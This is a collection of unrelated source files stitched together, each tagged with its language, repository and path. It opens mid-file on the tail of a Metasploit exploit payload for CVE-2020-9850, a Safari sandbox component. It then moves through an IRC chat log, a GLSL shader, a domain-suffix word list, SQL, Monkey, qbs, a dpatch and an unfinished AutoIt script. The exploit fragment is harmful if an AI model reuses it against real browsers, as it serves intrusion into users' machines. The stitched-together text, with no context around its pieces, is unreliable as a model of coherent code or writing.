(*t_dispatchDidFailProvisionalLoad)(Client *self, ResourceError &error, bool continueLoading); t_dispatchDidFailProvisionalLoad WebFrameLoaderClient_dispatchDidFailProvisionalLoad = (t_dispatchDidFailProvisionalLoad)func_ptr; WebFrameLoaderClient_dispatchDidFailProvisionalLoad(client, error, true); sleep(8); return 0; }

Objective-C++

OsmanDere/metasploit-framework

external/source/exploits/CVE-2020-9850/payload/sbx/safari.mm

2016-02-25 11:15:27 > fs0ciety ([email protected]) has joined #qutebrowser 2016-02-25 11:15:28 - Topic for #qutebrowser is "Current version: v0.5.1 - http://www.qutebrowser.org/ - Mailinglist: https://lists.schokokeks.org/mailman/listinfo.cgi/qutebrowser - 31c3 lightning talk: http://qutebrowser.org/31c3.webm - Help with tests appreciated! https://github.com/The-Compiler/qutebrowser/issues/999" 2016-02-25 11:15:28 - Topic set by The-Compiler (~compiler@unaffiliated/the-compiler) on Wed, 03 Feb 2016 00:56:56 2016-02-25 11:15:28 - Channel #qutebrowser: 87 nicks (0 ops, 0 voices, 87 normals) 2016-02-25 11:15:29 - Channel created on Mon, 20 Jan 2014 09:03:37 2016-02-25 11:15:59 fs0ciety hi guys wonder if there is to incorporate pass (passwordstore.org) into qutebrowser? 2016-02-25 11:16:57 > skinnay ([email protected]) has joined #qutebrowser 2016-02-25 11:38:03 < Karl_Dscc ([email protected]) has quit (Remote host closed the connection) 2016-02-25 11:44:07 Ferus yes, a userscript for that exists 2016-02-25 11:45:49 fs0ciety where can i find user submitted userscripts? :) 2016-02-25 11:46:31 Ferus fs0ciety: I can't find it on github. I feel like The-Compiler has linked it here before so I'd suggest asking him where he's hiding it :) 2016-02-25 11:47:51 fs0ciety thanks :) 2016-02-25 11:50:31 Ferus fs0ciety: i found it https://github.com/The-Compiler/qutebrowser/pull/873/files 2016-02-25 11:50:46 Ferus <3 weechat relay servers + regex buffer searching 2016-02-25 11:52:09 Ferus this script is much better than the one i wrote to use pass... 2016-02-25 11:54:04 fs0ciety ahh thank you 2016-02-25 11:54:59 < Jojan ([email protected]) has quit (Ping timeout: 240 seconds) 2016-02-25 12:05:23 < bghost (~ghost@unaffiliated/bghost) has quit (Ping timeout: 244 seconds) 2016-02-25 12:06:28 > bghost (~ghost@unaffiliated/bghost) has joined #qutebrowser 2016-02-25 13:40:58 > Boobuigi ([email protected]) has joined #qutebrowser 2016-02-25 14:07:28 < Bobbejaantje ([email protected]) has quit (Ping timeout: 255 seconds) 2016-02-25 14:09:35 > Korhonen ([email protected]) has joined #qutebrowser 2016-02-25 14:23:22 < IgnorantLizard ([email protected]) has quit (Quit: WeeChat 1.4) 2016-02-25 14:41:31 < neeasade ([email protected]) has quit (Ping timeout: 252 seconds) 2016-02-25 14:41:55 < Boobuigi ([email protected]) has quit (Ping timeout: 248 seconds) 2016-02-25 14:42:00 > neeasade ([email protected]) has joined #qutebrowser 2016-02-25 15:49:53 > ArturShaik ([email protected]) has joined #qutebrowser 2016-02-25 15:56:54 < sdothum ([email protected]) has quit (Quit: ZNC - 1.6.0 - http://znc.in) 2016-02-25 15:57:16 > SmallTock ([email protected]) has joined #qutebrowser 2016-02-25 16:37:34 < rieper ([email protected]) has quit (Remote host closed the connection) 2016-02-25 16:39:05 > rieper ([email protected]) has joined #qutebrowser 2016-02-25 16:39:46 < skinnay ([email protected]) has quit (Ping timeout: 252 seconds) 2016-02-25 16:41:22 > skinnay ([email protected]) has joined #qutebrowser 2016-02-25 16:41:59 < skinnay ([email protected]) has quit (Client Quit) 2016-02-25 16:42:17 > skinnay ([email protected]) has joined #qutebrowser 2016-02-25 16:42:55 < Joschasa ([email protected]) has quit (Ping timeout: 250 seconds) 2016-02-25 16:44:12 < SmallTock ([email protected]) has quit (Quit: WeeChat 1.1.1) 2016-02-25 16:56:01 > Joschasa ([email protected]) has joined #qutebrowser 2016-02-25 18:09:01 > Emdek ([email protected]) has joined #qutebrowser 2016-02-25 18:21:12 < ShaggyTwoDope (~shaggy@qutebrowser/user/ShaggyTwoDope) has quit (Quit: Wu-Tang4Life) 2016-02-25 18:28:15 > pedromj ([email protected]) has joined #qutebrowser 2016-02-25 18:33:42 > ShaggyTwoDope ([email protected]) has joined #qutebrowser 2016-02-25 18:33:42 < ShaggyTwoDope ([email protected]) has quit (Changing host) 2016-02-25 18:33:42 > ShaggyTwoDope (~shaggy@qutebrowser/user/ShaggyTwoDope) has joined #qutebrowser 2016-02-25 18:35:28 < pedromj ([email protected]) has quit (Ping timeout: 244 seconds) 2016-02-25 18:58:31 < ShaggyTwoDope (~shaggy@qutebrowser/user/ShaggyTwoDope) has quit (Read error: Connection reset by peer) 2016-02-25 19:00:08 > pedromj ([email protected]) has joined #qutebrowser 2016-02-25 19:01:18 > ShaggyTwoDope (~shaggy@qutebrowser/user/ShaggyTwoDope) has joined #qutebrowser 2016-02-25 19:02:36 > Emdek_ ([email protected]) has joined #qutebrowser 2016-02-25 19:06:25 < Emdek ([email protected]) has quit (Ping timeout: 240 seconds) 2016-02-25 19:06:28 > Noctua (~Noctua@qutebrowser/dev/Noctua) has joined #qutebrowser 2016-02-25 19:12:49 > jnphilipp ([email protected]) has joined #qutebrowser 2016-02-25 19:17:21 - Emdek_ is now known as Emdek 2016-02-25 19:18:52 < teribadactyl ([email protected]) has quit (Ping timeout: 244 seconds) 2016-02-25 19:21:31 > chobojordi ([email protected]) has joined #qutebrowser 2016-02-25 19:28:41 < pedromj ([email protected]) has quit (Ping timeout: 244 seconds) 2016-02-25 19:43:29 xpt The-Compiler: I can confirm that the issue I had yesterday was asciidoc related. 2016-02-25 19:44:18 xpt .oO(well at least the one with qutebrowser. The one on production was related to network guys that gave me second sleepless night in a row...) 2016-02-25 19:44:29 xpt Thanks for help solving that. 2016-02-25 19:44:45 < koltrast ([email protected]) has quit (Quit: ZNC 1.6.1 - http://znc.in) 2016-02-25 19:46:57 > koltrast ([email protected]) has joined #qutebrowser 2016-02-25 19:50:38 < wonko7 (~wjc@2a01:e35:2e74:a2c0:5ee0:c5ff:fe99:577d) has quit (Quit: Konversation terminated!) 2016-02-25 19:50:55 > wonko7 (~wjc@2a01:e35:2e74:a2c0:5ee0:c5ff:fe99:577d) has joined #qutebrowser 2016-02-25 20:02:57 > pedromj ([email protected]) has joined #qutebrowser 2016-02-25 20:05:59 The-Compiler np :) 2016-02-25 20:09:05 xpt my computer hates me... now I can't add qutebrowser as default browser in gnome (it is added but gnome spawns firefox instead...) 2016-02-25 20:09:41 xpt oh, I forgot to add qutebrowser to /usr/local/bin/ 2016-02-25 20:13:29 The-Compiler there's a qutebrowser package in Fedora very soon btw, I think they still need testers? 2016-02-25 20:14:21 The-Compiler https://bodhi.fedoraproject.org/updates/FEDORA-2016-258c9a3a47 2016-02-25 20:16:21 > flavi0 ([email protected]) has joined #qutebrowser 2016-02-25 20:21:00 e2k qutebrowser is great! Just found it a couple of days ago and it ticks all the boxes so far :) 2016-02-25 20:21:19 > mearon (~mearon@unaffiliated/mearon) has joined #qutebrowser 2016-02-25 20:21:23 The-Compiler :) 2016-02-25 20:22:12 e2k (just had to vent) 2016-02-25 20:22:35 xpt I'll be more than happy to help with tests. 2016-02-25 20:22:53 mearon hey 2016-02-25 20:23:31 mearon may I ask... are there any plans on moving to QtWebEngine in the foreseeable future? 2016-02-25 20:25:57 wasamasa see ticket 666 2016-02-25 20:26:42 mearon wasamasa: thanks, I'll check it out. 2016-02-25 20:33:53 > Karl_Dscc ([email protected]) has joined #qutebrowser 2016-02-25 20:34:02 The-Compiler mearon: plans yes, but it's a big undertaking 2016-02-25 20:34:27 mearon The-Compiler: yeah I thought so... 2016-02-25 20:34:32 The-Compiler mearon: and I'll probably end up not supporting QtWebEngine with Qt < 5.6 or maybe even 5.7 2016-02-25 20:34:41 The-Compiler because there's just too much missing 2016-02-25 20:34:56 mearon btw I just read this: https://blogs.gnome.org/mcatanzaro/2016/02/01/on-webkit-security-updates/ 2016-02-25 20:34:58 The-Compiler (note both 5.6 and 5.7 aren't out yet :D) 2016-02-25 20:35:05 The-Compiler yeah :-/ 2016-02-25 20:36:07 mearon so I looking for some (minimal) browser backend by QtWebEngine. qutebrowsing might be the first one of this kind.. :) 2016-02-25 20:36:20 mearon thank you for the infos. 2016-02-25 20:36:34 The-Compiler currently I'm still busy with getting everything tested - if you write Python, help with that would be very much appreciated! 2016-02-25 20:36:36 mearon I wish I could contribute somehow, but I'm clearly not qualified. 2016-02-25 20:37:00 mearon sorry :/ 2016-02-25 20:37:04 The-Compiler there's https://github.com/kovidgoyal/vise fwiw but I don't think it's intended for the general public 2016-02-25 20:37:45 The-Compiler do you know HTML/CSS/JS? There's also some help I need with that regarding tests because I don't very well 2016-02-25 20:38:57 mearon HTML/CSS basics yes, but JS not (yet)... kinda noob :) 2016-02-25 20:48:57 wasamasa The-Compiler: oh dear, that's from the calibre author 2016-02-25 20:49:28 < jnphilipp ([email protected]) has quit (Remote host closed the connection) 2016-02-25 20:50:27 The-Compiler wasamasa: indeed 2016-02-25 20:50:33 wasamasa D: 2016-02-25 20:51:02 wasamasa https://github.com/kovidgoyal/vise/blob/master/vise/main.py#L231-L243 2016-02-25 20:51:37 - Korhonen is now known as Bobbejaantje 2016-02-25 20:51:56 - irc: disconnected from server

IRC log

0x4b1dN/2016-dots

misc/weechat/logs/irc.freenode.#qutebrowser.weechatlog

// MIT License // Copyright (c) 2019-2021 bloc97 // All rights reserved. // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. //!DESC Anime4K-v3.2-Darken-DoG-(HQ)-Luma //!HOOK MAIN //!BIND HOOKED //!SAVE LINELUMA //!WIDTH HOOKED.w 2 / //!HEIGHT HOOKED.h 2 / //!COMPONENTS 1 float get_luma(vec4 rgba) { return dot(vec4(0.299, 0.587, 0.114, 0.0), rgba); } vec4 hook() { return vec4(get_luma(HOOKED_tex(HOOKED_pos)), 0.0, 0.0, 0.0); } //!DESC Anime4K-v3.2-Darken-DoG-(VeryFast)-Gaussian-X //!HOOK MAIN //!BIND HOOKED //!BIND LINELUMA //!SAVE LINEKERNEL //!WIDTH HOOKED.w 4 / //!HEIGHT HOOKED.h 4 / //!COMPONENTS 1 #define SPATIAL_SIGMA (0.5 * float(HOOKED_size.y) / 1080.0) //Spatial window size, must be a positive real number. #define KERNELSIZE (max(int(ceil(SPATIAL_SIGMA * 2.0)), 1) * 2 + 1) //Kernel size, must be an positive odd integer. #define KERNELHALFSIZE (int(KERNELSIZE/2)) //Half of the kernel size without remainder. Must be equal to trunc(KERNELSIZE/2). #define KERNELLEN (KERNELSIZE * KERNELSIZE) //Total area of kernel. Must be equal to KERNELSIZE * KERNELSIZE. float gaussian(float x, float s, float m) { float scaled = (x - m) / s; return exp(-0.5 * scaled * scaled); } float comp_gaussian_x() { float g = 0.0; float gn = 0.0; for (int i=0; i<KERNELSIZE; i++) { float di = float(i - KERNELHALFSIZE); float gf = gaussian(di, SPATIAL_SIGMA, 0.0); g = g + LINELUMA_texOff(vec2(di, 0.0)).x * gf; gn = gn + gf; } return g / gn; } vec4 hook() { return vec4(comp_gaussian_x(), 0.0, 0.0, 0.0); } //!DESC Anime4K-v3.2-Darken-DoG-(VeryFast)-Gaussian-Y //!HOOK MAIN //!BIND HOOKED //!BIND LINELUMA //!BIND LINEKERNEL //!SAVE LINEKERNEL //!WIDTH HOOKED.w 4 / //!HEIGHT HOOKED.h 4 / //!COMPONENTS 1 #define SPATIAL_SIGMA (0.25 * float(HOOKED_size.y) / 1080.0) //Spatial window size, must be a positive real number. #define KERNELSIZE (max(int(ceil(SPATIAL_SIGMA * 2.0)), 1) * 2 + 1) //Kernel size, must be an positive odd integer. #define KERNELHALFSIZE (int(KERNELSIZE/2)) //Half of the kernel size without remainder. Must be equal to trunc(KERNELSIZE/2). #define KERNELLEN (KERNELSIZE * KERNELSIZE) //Total area of kernel. Must be equal to KERNELSIZE * KERNELSIZE. float gaussian(float x, float s, float m) { float scaled = (x - m) / s; return exp(-0.5 * scaled * scaled); } float comp_gaussian_y() { float g = 0.0; float gn = 0.0; for (int i=0; i<KERNELSIZE; i++) { float di = float(i - KERNELHALFSIZE); float gf = gaussian(di, SPATIAL_SIGMA, 0.0); g = g + LINEKERNEL_texOff(vec2(0.0, di)).x * gf; gn = gn + gf; } return g / gn; } vec4 hook() { return vec4(min(LINELUMA_tex(HOOKED_pos).x - comp_gaussian_y(), 0.0), 0.0, 0.0, 0.0); } //!DESC Anime4K-v3.2-Darken-DoG-(VeryFast)-Gaussian-X //!HOOK MAIN //!BIND HOOKED //!BIND LINEKERNEL //!SAVE LINEKERNEL //!WIDTH HOOKED.w 4 / //!HEIGHT HOOKED.h 4 / //!COMPONENTS 1 #define SPATIAL_SIGMA (0.25 * float(HOOKED_size.y) / 1080.0) //Spatial window size, must be a positive real number. #define KERNELSIZE (max(int(ceil(SPATIAL_SIGMA * 2.0)), 1) * 2 + 1) //Kernel size, must be an positive odd integer. #define KERNELHALFSIZE (int(KERNELSIZE/2)) //Half of the kernel size without remainder. Must be equal to trunc(KERNELSIZE/2). #define KERNELLEN (KERNELSIZE * KERNELSIZE) //Total area of kernel. Must be equal to KERNELSIZE * KERNELSIZE. float gaussian(float x, float s, float m) { float scaled = (x - m) / s; return exp(-0.5 * scaled * scaled); } float comp_gaussian_x() { float g = 0.0; float gn = 0.0; for (int i=0; i<KERNELSIZE; i++) { float di = float(i - KERNELHALFSIZE); float gf = gaussian(di, SPATIAL_SIGMA, 0.0); g = g + LINEKERNEL_texOff(vec2(di, 0.0)).x * gf; gn = gn + gf; } return g / gn; } vec4 hook() { return vec4(comp_gaussian_x(), 0.0, 0.0, 0.0); } //!DESC Anime4K-v3.2-Darken-DoG-(VeryFast)-Gaussian-Y //!HOOK MAIN //!BIND HOOKED //!BIND LINEKERNEL //!SAVE LINEKERNEL //!WIDTH HOOKED.w 4 / //!HEIGHT HOOKED.h 4 / //!COMPONENTS 1 #define SPATIAL_SIGMA (0.25 * float(HOOKED_size.y) / 1080.0) //Spatial window size, must be a positive real number. #define KERNELSIZE (max(int(ceil(SPATIAL_SIGMA * 2.0)), 1) * 2 + 1) //Kernel size, must be an positive odd integer. #define KERNELHALFSIZE (int(KERNELSIZE/2)) //Half of the kernel size without remainder. Must be equal to trunc(KERNELSIZE/2). #define KERNELLEN (KERNELSIZE * KERNELSIZE) //Total area of kernel. Must be equal to KERNELSIZE * KERNELSIZE. float gaussian(float x, float s, float m) { float scaled = (x - m) / s; return exp(-0.5 * scaled * scaled); } float comp_gaussian_y() { float g = 0.0; float gn = 0.0; for (int i=0; i<KERNELSIZE; i++) { float di = float(i - KERNELHALFSIZE); float gf = gaussian(di, SPATIAL_SIGMA, 0.0); g = g + LINEKERNEL_texOff(vec2(0.0, di)).x * gf; gn = gn + gf; } return g / gn; } vec4 hook() { return vec4(comp_gaussian_y(), 0.0, 0.0, 0.0); } //!DESC Anime4K-v3.2-Darken-DoG-(VeryFast)-Upsample //!HOOK MAIN //!BIND HOOKED //!BIND LINEKERNEL #define STRENGTH 1.5 //Line darken proportional strength, higher is darker. vec4 hook() { //This trick is only possible if the inverse Y->RGB matrix has 1 for every row... (which is the case for BT.709) //Otherwise we would need to convert RGB to YUV, modify Y then convert back to RGB. return HOOKED_tex(HOOKED_pos) + (LINEKERNEL_tex(HOOKED_pos).x * STRENGTH); }

GLSL

dvdvideo1234/Anime4K

glsl/Experimental-Effects/Anime4K_Darken_VeryFast.glsl

DOMAIN_SUFFIX #域名后缀工具词库 #格式：后缀/解释 ##常用域名后缀## com/Commercial organizations,商业组织,公司 net/Network operations and service centers,网络服务商 top/顶级、高端、适用于任何商业 公司 个人 tech/科技、技术 org/Other organizations,非盈利组织 gov/Governmental entities,政府部门 edu/Educational institutions,教研机构 mil/Military (U.S),美国军部 pub/public大众、公共、知名。 mobi/域名 全球唯一专为手机及移动终端设备打造的域名 ##中国国内域名## cn/中国国家顶级域名 com.cn/中国公司和商业组织域名 net.cn/中国网络服务机构域名 gov.cn/中国政府机构域名 org.cn/中国非盈利组织域名 ##新国际域名## red/吉祥、红色、热情、勤奋 ink/internet king 互联网之王，同时英文单词是墨水的意思 biz/商务网站 cc/Corporation、Company简短的国际顶级域名 tv/电视台或频道 info/信息网与信息服务 name/一般由个人注册和使用，代表个人 travel/域名 是旅游业网上服务的代表 ##ICANN认可推出的新顶级域名## pro/代表专家（注：.pro有三个的不同扩展子域。.cpa.pro会计师，.law.pro律师，.med.pro医生）, museum/代表博物馆, coop/代表商业合作, aero/代表航空业。 ai/人工智能专用。 ##国别域名## ad/Andorra安道尔 ae/United Arab Emirates阿拉伯联合酋长国 af/Afghanistan阿富汗 ag/Antigua and Barbuda安提瓜和巴布达 ai/Anguilla安圭拉 al/Albania阿尔巴尼亚 am/Armenia亚美尼亚 an/Netherlands Antilles荷兰属地 ao/Angola安哥拉 aq/Antarctica南极洲 ar/Argentina阿根廷 as/American Samoa美属萨摩亚 at/Austria奥地利 au/Australia澳大利亚 aw/Aruba阿鲁巴 az/Azerbaijan阿塞拜疆 ba/Bosnia Herzegovina波斯尼亚和黑塞哥维那 bb/Barbados巴巴多斯 bd/Bangladesh孟加拉国 be/Belgium比利时 bf/Burkina Faso布基纳法索 bg/Bulgaria保加利亚 bh/Bahrain巴林 bi/Burundi布隆迪 bj/Benin贝宁 bm/Bermuda百慕大 bn/Brunei Darussalam文莱 bo/Bolivia玻利维亚 br/Brazil巴西 bs/Bahamas巴哈马 bt/Bhutan不丹 bv/Bouvet Island布韦岛 bw/Botswana博茨瓦纳 by/Belarus白俄罗斯 bz/Belize伯利兹 ca/Canada加拿大 cc/Cocos Islands科科斯群岛 cf/Central African Republic中非 cg/Congo刚果(布) ch/Switzerland瑞士 ci/Ivory Coast科特迪瓦 ck/Cook Islands库克群岛 cl/Chile智利 cm/Cameroon喀麦隆 cn/China中国 co/Colombia哥伦比亚 cq/Equatorial Guinea赤道几内亚 cr/Costa Rica哥斯达黎加 cu/Cuba古巴 cv/Cape Verde佛得角 cx/Christmas Island圣诞岛(英属) cy/Cyprus塞浦路斯 cz/Czech Republic捷克 de/Germany德国 dj/Djibouti吉布提 dk/Denmark丹麦 dm/Dominica多米尼克国 do/Dominican Republic多米尼加共和国 dz/Algeria阿尔及利亚 ec/Ecuador厄瓜多尔 ee/Estonia爱沙尼亚 eg/Egypt埃及 eh/WesternSahara萨摩亚 es/Spain西班牙 et/Ethiopia埃塞俄比亚 ev/El Salvador萨尔瓦多 fi/Finland芬兰 fj/Fiji斐济群岛 fk/Falkland Islands福克兰群岛 fm/Micronesia密克罗尼西亚联邦 fo/Faroe Islands法罗群岛 fr/France法国 ga/Gabon加蓬 gb/Great Britain (UK)英国 gd/Grenada格林纳达 ge/Georgia格鲁吉亚 gf/French Guiana法属圭亚那 gh/Ghana加纳 gi/Gibraltar直布罗陀(英属) gl/Greenland格陵兰群岛 gm/Gambia冈比亚 gn/Guinea几内亚 gp/Guadeloupe瓜德罗普(法属) gr/Greece希腊 gt/Guatemala危地马拉 gu/Guam关岛 gw/Guinea-Bissau几内亚比绍 gy/Guyana圭亚那 hk/Hong Kong香港 hm/Heard赫德与麦克唐纳群岛 hn/Honduras洪都拉斯 hr/Croatia克罗地亚 ht/Haiti海地 hu/Hungary匈牙利 id/Indonesia印度尼西亚 ie/Ireland爱尔兰 il/Israel以色列 in/India印度 io/British Indian Ocean Territory英属印度洋领地 iq/Iraq伊拉克 ir/Iran伊朗 is/Iceland冰岛 it/Italy意大利 jm/Jamaica牙买加 jo/Jordan约旦 jp/Japan日本 ke/Kenya肯尼亚 kg/Kyrgyz Stan吉尔吉斯斯坦 kh/Cambodia柬埔寨 ki/Kiribati基里巴斯 km/Comoros科摩罗 kn/St. Kitts圣基茨和尼维斯 kp/Korea-North朝鲜 kr/Korea-South韩国 kw/Kuwait科威特 ky/Cayman Islands开曼群岛(英属) kz/Kazakhstan哈萨克斯坦 la/Lao People's Republic老挝 lb/Lebanon黎巴嫩 lc/St. Lucia圣卢西亚 li/Liechtenstein列支敦士登 lk/Sri Lanka斯里兰卡 lr/Liberia利比里亚 ls/Lesotho莱索托 lt/Lithuania立陶宛 lu/Luxembourg卢森堡 lv/Latvia拉脱维亚 ly/Libya利比亚 ma/Morocco摩洛哥 mc/Monaco摩纳哥 me/Montenegro黑山 md/Moldova摩尔多瓦 mg/Madagascar马达加斯加 mh/Marshall Islands马绍尔群岛 ml/Mali马里 mm/Myanmar缅甸 mn/Mongolia蒙古 mo/Macao澳门 mp/Northern Mariana Islands北马里亚纳群岛(美属) mq/Martinique马提尼克(法属) mr/Mauritania毛里塔尼亚 ms/Montserrat蒙特塞拉特(英属) mt/Malta马耳他 mv/Maldives马尔代夫 mw/Malawi马拉维 mx/Mexico墨西哥 my/Malaysia马来西亚 mz/Mozambique莫桑比克 na/Namibia纳米比亚 nc/New Caledonia新喀里多尼亚 ne/Niger尼日尔 nf/Norfolk Island诺福克岛 ng/Nigeria尼日利亚 ni/Nicaragua尼加拉瓜 nl/Netherlands荷兰 no/Norway挪威 np/Nepal尼泊尔 nr/Nauru瑙鲁 nt/Neutral Zone中立区 nu/Niue纽埃 nz/New Zealand新西兰 om/Oman阿曼 pa/Panama巴拿马 pe/Peru秘鲁 pf/French Polynesia法属玻利尼西亚 pg/Papua New Guinea巴布亚新几内亚 ph/Philippines菲律宾 pk/Pakistan巴基斯坦 pl/Poland波兰 pm/St. Pierre圣皮埃尔和密克隆群岛 pn/Pitcairn Island皮特克恩岛 pr/Puerto Rico波多黎各 pt/Portugal葡萄牙 pw/Palau帕劳 py/Paraguay巴拉圭 qa/Qatar卡塔尔 re/Reunion Island留尼汪(法属) ro/Romania罗马尼亚 ru/Russian Federation俄罗斯 rw/Rwanda卢旺达 sa/Saudi Arabia沙特阿拉伯 sb/Solomon Islands所罗门群岛 sc/Seychelles塞舌尔 sd/Sudan苏丹 se/Sweden瑞典 sg/Singapore新加坡 sh/St. Helena圣赫勒拿(英属) si/Slovenia斯洛文尼亚 sj/Svalbard 斯瓦尔巴群岛和扬马延岛 sk/Slovakia斯洛伐克 sl/Sierra Leone塞拉利昂 sm/San Marino圣马力诺 sn/Senegal塞内加尔 so/Somalia索马里 sr/Suriname苏里南 st/Sao Tome圣多美和普林西比 su/USSR苏联 sy/Syrian Arab Republic叙利亚 sz/Swaziland斯威士兰 tc/Turks特克斯和凯科斯群岛 td/Chad乍得 tf/French Southern Territories法属南半球领地 tg/Togo多哥 th/Thailand泰国 tj/Tajikistan塔吉克斯坦 tk/Tokelau托克劳 tl/ TIMORLESTE东帝汶 tm/Turkmenistan土库曼斯坦 tn/Tunisia突尼斯 to/Tonga汤加 tp/East Timor东帝汶 tr/Turkey土耳其 tt/Trinidad特立尼达和多巴哥 tv/Tuvalu图瓦卢 tw/Taiwan台湾 tz/Tanzania坦桑尼亚 ua/Ukrainian SSR乌克兰 ug/Uganda乌干达 uk/United Kingdom英国 us/United States美国 uy/Uruguay乌拉圭 va/Vatican City State梵蒂冈 vc/Vincent圣文森特和格林纳丁斯 ve/Venezuela委内瑞拉 vg/Virgin Islands维尔京群岛 vn/Vietnam越南 vu/Vanuatu瓦努阿图 wf/Wallis 瓦利斯和富图钠群岛 ws/Samoa萨摩亚 ye/Yemen也门 yu/Yugoslavia南斯拉夫 za/South Africa南非 zm/Zambia赞比亚 zr/Zaire刚果(金) zw/Zimbabwe津巴布韦

Lex

Wing-Luo/jcseg

vendors/lexicon/lex-domain-suffix.lex

create database seconddb;

SQL

imtbkcat/tidb-lightning

tests/black-white-list/data/seconddb-schema-create.sql

'***************************************************** '* Mirror FX using Transform '* Author: Richard Betson '* Date: 02/09/11 '* Language: monkey '* Tagets: HTML5, FLASH, GLFW '* License - Public Domain '***************************************************** Import mojo Global img:Image Class MyApp Extends App Global t# Global tt# Global ttx# Global rt# Global rtt# Method OnCreate() SetUpdateRate 60 img=LoadImage("c.png") End Method Method OnUpdate() rtt=rtt+1 If KeyDown(KEY_RIGHT) Then t=t+.001 If KeyDown(KEY_LEFT) Then t=t-.001 If KeyDown(KEY_UP) Then tt=tt+.0001 If KeyDown(KEY_DOWN) Then tt=tt-.0001 If KeyDown(KEY_1) Then ttx=ttx+.0001 If KeyDown(KEY_2) Then ttx=ttx-.0001 End Method Method OnRender() Cls PushMatrix() Local stp=0 Local clr# Local oldx=20 Local oldy=10 For Local ii=0 To 200 Local i=200-ii clr=clr+.004 If clr>=1 Then clr=1 stp=stp+1 If stp>=30 stp=0 SetColor((i)+55,0,255-i) For Local y=10 To 480 Step 110 SetAlpha (1-clr) For Local x=20 To 640 Step 120 DrawLine oldx,y,x,y DrawLine x,oldy,x,y oldx=x DrawCircle(x,y,(8-(ii*.01))) Next oldx=20 oldy=y Next Endif Translate(2,2) Transform 1+Sin(t-.259)-ttx-.001,0,0,Cos(t-.259)-tt-.007,Cos(rtt),Sin(rtt) Next Translate(0,0) Transform 1,0,0,1,0,0 PopMatrix() oldx=20 SetColor 255,0,0 SetAlpha 1 For Local y=10 To 480 Step 110 For Local x=20 To 640 Step 120 DrawLine oldx,y,x,y DrawLine x,oldy,x,y oldx=x DrawImage(img,x-9,y-7,1,1,1) Next oldx=20 oldy=y Next SetColor 255,255,255 End Method End Class Function Main() New MyApp End

Monkey

blitz-research/monkey

bananas/Richard_Betson/mirror_fx_transform/mirror_fx_transform.monkey

import qbs; Product { name: "libminizip" targetName: "minizip" type: [ "staticlibrary" ] Depends { name: "cpp" } cpp.commonCompilerFlags: [ "-Wno-unused-parameter", "-Wno-unused-function", "-Wno-empty-body", "-Wno-sequence-point" ] Properties { condition: qbs.targetOS.contains("linux") cpp.includePaths: outer.concat([ "/usr/include/" ]) cpp.defines: [ "__USE_FILE_OFFSET64", "__USE_LARGEFILE64", "_LARGEFILE64_SOURCE", "_FILE_OFFSET_BIT=64", "HAVE_AES" ] cpp.dynamicLibraries: [ "z" ] } Group { name: "sources" prefix: "../" files: [ "crypt.c", "ioapi.c", "ioapi_buf.c", "ioapi_mem.c", "unzip.c", "zip.c" ] } Group { name: "aes sources" prefix: "../aes/" files: [ "aescrypt.c", "aeskey.c", "aes_ni.c", "aestab.c", "fileenc.c", "hmac.c", "prng.c", "pwd2key.c", "sha1.c" ] } Group { name: "headers" prefix: "../" files: [ "crypt.h", "ioapi.h", "ioapi_buf.h", "ioapi_mem.h", "unzip.h", "zip.h" ] } Group { name: "aes headers" prefix: "../aes/" files: [ "aes.h", "aes_ni.h", "aesopt.h", "aestab.h", "brg_endian.h", "brg_types.h", "fileenc.h", "hmac.h", "prng.h", "pwd2key.h", "sha1.h" ] } }

QML

asmaloney/minizip

linux/libminizip.qbs

#! /bin/sh /usr/share/dpatch/dpatch-run ## 54_scim-1.4.7-xim-wrong-format.dpatch by Ikuya Awashiro <[email protected]> ## ## All lines beginning with `## DP:' are a description of the patch. ## DP: Fix incorrect XIM_QUERY_EXTENSION_REPLY message ## DP: https://bugzilla.redhat.com/show_bug.cgi?id=457566 @DPATCH@ diff -urNad scim-1.4.9~/modules/FrontEnd/IMdkit/i18nIMProto.c scim-1.4.9/modules/FrontEnd/IMdkit/i18nIMProto.c --- scim-1.4.9~/modules/FrontEnd/IMdkit/i18nIMProto.c 2008-11-02 06:42:13.000000000 +0000 +++ scim-1.4.9/modules/FrontEnd/IMdkit/i18nIMProto.c 2009-07-20 11:55:05.000000000 +0000 @@ -106,11 +106,11 @@ static XimFrameRec ext_fr[] = { - _FRAME(BIT16), /* extension major-opcode */ - _FRAME(BIT16), /* extension minor-opcode */ + _FRAME(BIT8), /* extension major-opcode */ + _FRAME(BIT8), /* extension minor-opcode */ _FRAME(BIT16), /* length of extension name */ _FRAME(BARRAY), /* extension name */ - _PAD4(2), + _PAD4(1), _FRAME(EOL), };

Darcs Patch

JrCs/opendreambox

recipes/scim/files/54_scim-1.4.7-xim-wrong-format.dpatch

#Region ;**** Directives created by AutoIt3Wrapper_GUI **** #AutoIt3Wrapper_Icon=..\Resources\Currency Calculator\CurrencyCalculator_Icon.ico #AutoIt3Wrapper_Outfile=..\Currency Calculator.exe #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** ;; To do ;~ -- Fix up negative calculations from Currency Converter.. (minus)- XX CP on each? Doesnt seem efficient.. ;~ --- No idea what above means lol >.> ;~ Do maths for Party split - Use Mod () Use on PP as well, but keep PP seperate from other calculations - Tickbox? ; --- Currency Calculator --- ; 2 Modes, Calculator and converter. ; Basic Calculator to go X*X = XX ; Continuation so you can go XX - A = BB (After you've done a sum already) ; Use Working Numbers ; - "First Number" = As soon as a number button is hit the mode = First number ; - "Modifier" = -+x/ When a modifier is clicked Mode is set to Second Number if another modifier is clicked it replaces the first ; - "Second Number" = Any number pressed after modifier, if another modifier or "=" is pressed then Total is generated and Second number becomes First ; - "Total" if = Is pressed Then Mode is reset to First number & First Number = Total ; ; - Clear button to 